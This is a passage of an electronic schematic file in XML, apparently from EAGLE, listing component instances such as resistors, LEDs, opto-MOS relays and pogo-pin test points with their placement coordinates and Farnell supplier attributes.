x=\"-33.02\" y=\"-111.76\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n</instance>\n<instance part=\"SUPPLY6\" gate=\"1\" x=\"-33.02\" y=\"-124.46\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-34.925\" y=\"-127.635\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"D6\" gate=\"G$1\" x=\"73.66\" y=\"-53.34\" smashed=\"yes\">\n<attribute name=\"FARNELL\" x=\"73.66\" y=\"-53.34\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"72.136\" y=\"-49.149\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"72.136\" y=\"-59.055\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"R18\" gate=\"G$1\" x=\"55.88\" y=\"-45.72\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"59.69\" y=\"-44.2214\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"59.69\" y=\"-49.022\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"55.88\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"55.88\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"55.88\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"55.88\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"55.88\" y=\"-45.72\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"OPTO_MOS1\" gate=\"G$1\" x=\"-48.26\" y=\"-114.3\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-40.894\" y=\"-110.49\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-42.418\" y=\"-119.888\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-48.26\" y=\"-114.3\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"TUNE\" gate=\"G$1\" x=\"-63.5\" y=\"-116.84\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"PARTNO\" x=\"-63.5\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"VALUE\" x=\"-60.96\" y=\"-121.92\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"NAME\" x=\"-60.96\" y=\"-110.998\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-63.5\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-63.5\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-63.5\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-63.5\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-63.5\" y=\"-116.84\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"TP12\" gate=\"G$1\" x=\"20.32\" y=\"-43.18\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"19.05\" y=\"-41.91\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"21.59\" y=\"-44.45\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP5\" gate=\"G$1\" x=\"-119.38\" y=\"-106.68\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"NAME\" x=\"-120.65\" y=\"-107.95\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"-118.11\" y=\"-105.41\" size=\"1.778\" layer=\"97\" rot=\"R90\"/>\n</instance>\n<instance part=\"R20\" gate=\"G$1\" x=\"-157.48\" y=\"22.86\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-153.67\" y=\"24.3586\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-153.67\" y=\"19.558\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-157.48\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-157.48\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-157.48\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-157.48\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-157.48\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"LED2\" gate=\"G$1\" x=\"-142.24\" y=\"22.86\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"-137.668\" y=\"19.304\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-132.588\" y=\"17.145\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"-142.24\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-142.24\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-142.24\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-142.24\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-142.24\" y=\"22.86\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"R32\" gate=\"G$1\" x=\"-111.76\" y=\"220.98\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"-107.95\" y=\"222.4786\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"-107.95\" y=\"217.678\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"XFARNELL\" x=\"-111.76\" y=\"220.98\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"-111.76\" y=\"220.98\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"-111.76\" y=\"220.98\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"-111.76\" y=\"220.98\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"-111.76\" y=\"220.98\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"-111.76\" y=\"220.98\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"SUPPLY3\" gate=\"1\" x=\"-121.92\" y=\"233.68\" smashed=\"yes\" rot=\"MR90\">\n<attribute name=\"VALUE\" x=\"-125.095\" y=\"231.775\" size=\"1.778\" layer=\"96\" rot=\"MR90\"/>\n</instance>\n<instance part=\"OPTO_MOS2\" gate=\"G$1\" x=\"-129.54\" y=\"223.52\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"-124.46\" y=\"218.44\" size=\"1.778\" layer=\"95\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"-124.46\" y=\"229.616\" size=\"1.778\" layer=\"96\" rot=\"R180\"/>\n<attribute name=\"XFARNELL\" x=\"-129.54\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"-129.54\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"R180\" display=\"off\"/>\n</instance>\n<instance part=\"JP17\" gate=\"G$1\" x=\"-152.4\" y=\"220.98\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"-154.94\" y=\"215.9\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"NAME\" x=\"-154.94\" y=\"226.822\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"FARNELL\" x=\"-152.4\" y=\"220.98\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"JP1\" gate=\"G$1\" x=\"246.38\" y=\"-157.48\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"254\" y=\"-160.02\" size=\"1.778\" layer=\"96\" rot=\"R90\"/>\n<attribute name=\"NAME\" x=\"240.538\" y=\"-160.02\" size=\"1.778\" layer=\"95\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" x=\"246.38\" y=\"-157.48\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n</instance>\n<instance part=\"USD_1\" gate=\"G$1\" x=\"345.44\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"342.9\" y=\"239.268\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"343.916\" y=\"195.072\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"FARNELL\" x=\"345.44\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"XFARNELL\" x=\"345.44\" y=\"223.52\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"P+3\" gate=\"G$1\" x=\"314.96\" y=\"256.54\" smashed=\"yes\">\n<attribute name=\"VALUE\" x=\"313.944\" y=\"260.096\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"R33\" gate=\"G$1\" x=\"294.64\" y=\"246.38\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"293.1414\" y=\"250.19\" size=\"1.778\" layer=\"95\" rot=\"MR270\"/>\n<attribute name=\"VALUE\" x=\"297.942\" y=\"250.19\" size=\"1.778\" layer=\"96\" rot=\"MR270\"/>\n<attribute name=\"XFARNELL\" x=\"294.64\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"294.64\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"294.64\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"294.64\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"294.64\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"294.64\" y=\"246.38\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"R34\" gate=\"G$1\" x=\"304.8\" y=\"246.38\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"303.3014\" y=\"250.19\" size=\"1.778\" layer=\"95\" rot=\"MR270\"/>\n<attribute name=\"VALUE\" x=\"308.102\" y=\"250.19\" size=\"1.778\" layer=\"96\" rot=\"MR270\"/>\n<attribute name=\"XFARNELL\" x=\"304.8\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"304.8\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"304.8\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"304.8\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"304.8\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"304.8\" y=\"246.38\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"R35\" gate=\"G$1\" x=\"314.96\" y=\"246.38\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"313.4614\" y=\"250.19\" size=\"1.778\" layer=\"95\" rot=\"MR270\"/>\n<attribute name=\"VALUE\" x=\"318.262\" y=\"250.19\" size=\"1.778\" layer=\"96\" rot=\"MR270\"/>\n<attribute name=\"XFARNELL\" x=\"314.96\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"314.96\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"314.96\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"314.96\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"314.96\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"314.96\" y=\"246.38\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"C17\" gate=\"G$1\" x=\"320.04\" y=\"213.36\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"311.404\" y=\"213.741\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"311.404\" y=\"211.201\" size=\"1.778\" layer=\"96\"/>\n<attribute name=\"XFARNELL\" x=\"320.04\" y=\"213.36\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"320.04\" y=\"213.36\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"320.04\" y=\"213.36\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"320.04\" y=\"213.36\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"320.04\" y=\"213.36\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"320.04\" y=\"213.36\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n</instance>\n<instance part=\"R36\" gate=\"G$1\" x=\"325.12\" y=\"246.38\" smashed=\"yes\" rot=\"MR270\">\n<attribute name=\"NAME\" x=\"323.6214\" y=\"250.19\" size=\"1.778\" layer=\"95\" rot=\"MR270\"/>\n<attribute name=\"VALUE\" x=\"328.422\" y=\"250.19\" size=\"1.778\" layer=\"96\" rot=\"MR270\"/>\n<attribute name=\"XFARNELL\" x=\"325.12\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"325.12\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"325.12\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"325.12\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"325.12\" y=\"246.38\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"FARNELL\" x=\"325.12\" y=\"246.38\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n</instance>\n<instance part=\"GND3\" gate=\"1\" x=\"330.2\" y=\"195.58\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"332.74\" y=\"193.04\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"SUPPLY7\" gate=\"1\" x=\"170.18\" y=\"-71.12\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"VALUE\" x=\"172.085\" y=\"-74.295\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n</instance>\n<instance part=\"D5\" gate=\"G$1\" x=\"172.72\" y=\"-63.5\" smashed=\"yes\">\n<attribute name=\"FARNELL\" x=\"172.72\" y=\"-63.5\" size=\"1.778\" layer=\"96\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"171.196\" y=\"-59.309\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"171.196\" y=\"-69.215\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"R17\" gate=\"G$1\" x=\"154.94\" y=\"-55.88\" smashed=\"yes\" rot=\"MR0\">\n<attribute name=\"NAME\" x=\"158.75\" y=\"-54.3814\" size=\"1.778\" layer=\"95\" rot=\"MR0\"/>\n<attribute name=\"VALUE\" x=\"158.75\" y=\"-59.182\" size=\"1.778\" layer=\"96\" rot=\"MR0\"/>\n<attribute name=\"FARNELL\" x=\"154.94\" y=\"-55.88\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" x=\"154.94\" y=\"-55.88\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" x=\"154.94\" y=\"-55.88\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" x=\"154.94\" y=\"-55.88\" size=\"1.778\" layer=\"96\" rot=\"MR270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" x=\"154.94\" y=\"-55.88\" size=\"1.778\" layer=\"96\" rot=\"MR0\" display=\"off\"/>\n</instance>\n<instance part=\"J1\" gate=\"1\" x=\"172.72\" y=\"58.42\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"170.18\" y=\"60.96\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"VALUE\" x=\"175.26\" y=\"60.96\" size=\"1.778\" layer=\"96\"/>\n</instance>\n<instance part=\"TP20\" gate=\"G$1\" x=\"408.94\" y=\"111.76\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"408.94\" y=\"111.76\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"407.67\" y=\"113.03\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"410.21\" y=\"110.49\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP21\" gate=\"G$1\" x=\"408.94\" y=\"106.68\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"408.94\" y=\"106.68\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"407.67\" y=\"107.95\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"410.21\" y=\"105.41\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP22\" gate=\"G$1\" x=\"408.94\" y=\"101.6\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"408.94\" y=\"101.6\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"407.67\" y=\"102.87\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"410.21\" y=\"100.33\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP23\" gate=\"G$1\" x=\"474.98\" y=\"101.6\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"474.98\" y=\"101.6\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"473.71\" y=\"102.87\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"476.25\" y=\"100.33\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP24\" gate=\"G$1\" x=\"297.18\" y=\"238.76\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"297.18\" y=\"238.76\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"295.91\" y=\"240.03\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"298.45\" y=\"237.49\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP25\" gate=\"G$1\" x=\"299.72\" y=\"233.68\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"299.72\" y=\"233.68\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"298.45\" y=\"234.95\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"300.99\" y=\"232.41\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP26\" gate=\"G$1\" x=\"299.72\" y=\"228.6\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"299.72\" y=\"228.6\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"298.45\" y=\"229.87\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"300.99\" y=\"227.33\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP27\" gate=\"G$1\" x=\"299.72\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"299.72\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"298.45\" y=\"224.79\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"300.99\" y=\"222.25\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP28\" gate=\"G$1\" x=\"299.72\" y=\"205.74\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"299.72\" y=\"205.74\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"298.45\" y=\"207.01\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"300.99\" y=\"204.47\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP30\" gate=\"G$1\" x=\"230.632\" y=\"228.6\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"230.632\" y=\"228.6\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"223.266\" y=\"227.076\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"231.902\" y=\"227.33\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP31\" gate=\"G$1\" x=\"220.98\" y=\"226.06\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"220.98\" y=\"226.06\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"222.25\" y=\"223.52\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"222.25\" y=\"224.79\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP32\" gate=\"G$1\" x=\"218.44\" y=\"223.52\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"218.44\" y=\"223.52\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"219.71\" y=\"220.98\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"219.71\" y=\"222.25\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP29\" gate=\"G$1\" x=\"167.64\" y=\"101.6\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"167.64\" y=\"101.6\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"166.37\" y=\"102.87\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"168.91\" y=\"100.33\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP33\" gate=\"G$1\" x=\"175.26\" y=\"99.06\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"175.26\" y=\"99.06\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"173.99\" y=\"100.33\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"176.53\" y=\"97.79\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP34\" gate=\"G$1\" x=\"167.64\" y=\"93.98\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"167.64\" y=\"93.98\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"166.37\" y=\"95.25\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"168.91\" y=\"92.71\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP35\" gate=\"G$1\" x=\"177.8\" y=\"91.44\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"177.8\" y=\"91.44\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"176.53\" y=\"92.71\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"179.07\" y=\"90.17\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP36\" gate=\"G$1\" x=\"170.18\" y=\"121.92\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"170.18\" y=\"121.92\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"168.91\" y=\"123.19\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"171.45\" y=\"120.65\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP37\" gate=\"G$1\" x=\"-81.28\" y=\"48.26\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"-81.28\" y=\"48.26\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-82.55\" y=\"49.53\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"-80.01\" y=\"46.99\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP38\" gate=\"G$1\" x=\"-78.74\" y=\"50.8\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"-78.74\" y=\"50.8\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-80.01\" y=\"52.07\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"-77.47\" y=\"49.53\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP39\" gate=\"G$1\" x=\"-76.2\" y=\"53.34\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"-76.2\" y=\"53.34\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"-77.47\" y=\"54.61\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"-74.93\" y=\"52.07\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP40\" gate=\"G$1\" x=\"167.64\" y=\"154.94\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"167.64\" y=\"154.94\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"166.37\" y=\"156.21\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"168.91\" y=\"153.67\" size=\"1.778\" layer=\"97\"/>\n</instance>\n<instance part=\"TP41\" gate=\"G$1\" x=\"177.8\" y=\"152.4\" smashed=\"yes\">\n<attribute name=\"POGOPIN\" x=\"177.8\" y=\"152.4\" size=\"1.778\" layer=\"96\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"176.53\" y=\"153.67\" size=\"1.778\" layer=\"95\"/>\n<attribute name=\"TP_SIGNAL_NAME\" x=\"179.07\" y=\"151.13\" 